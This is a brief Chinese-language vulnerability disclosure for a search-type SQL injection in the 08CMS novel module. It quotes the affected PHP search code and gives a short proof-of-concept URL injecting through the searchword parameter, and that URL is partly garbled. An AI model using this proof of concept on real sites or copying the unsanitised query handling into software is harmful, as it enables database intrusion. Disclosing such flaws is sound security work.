08CMS小说搜索型注入 - 漏洞发布 京华志

Vul Code:

//搜索词预处理

$searchword = empty($searchword) ? '' : cutstr(trim($searchword),50,'');

$_da['searchword'] = $searchword;

if($searchword){

$filterstr .= ($filterstr ? '&' : '').'searchword='.rawurlencode(stripslashes($searchword));

}

//预处理搜索模式：标题subject、关键词keywords、内容fulltxt、会员mname

$searchmode = empty($searchmode) ? 'subject' : trim($searchmode);

if(!in_array($searchmode,array('subject','keywords','fulltxt','mname'))) $searchmode = 'subject';

if(!$chid){

$nochids = empty($nochids) ? '' : trim($nochids);

if($nochids){//排除的模型

$_da['nochids'] = $nochids;

$filterstr .= ($filterstr ? '&' : '')."nochids=".$nochids;

$nochids = explode(',',$nochids);

if($nochids) $wherestr .= " AND a.chid ".multi_str($nochids,1);

}

POC:

出现搜索型注入。

&caid=0&chid=0&ccid4=0&indays=0&orderby=createdate&searchsubmit=1]http://localhost/search.php?searchmode=subject&searchword=[%]&caid=0&chid=0&ccid4=0&indays=0&orderby=createdate&searchsubmit=1

在searchword这出现问题
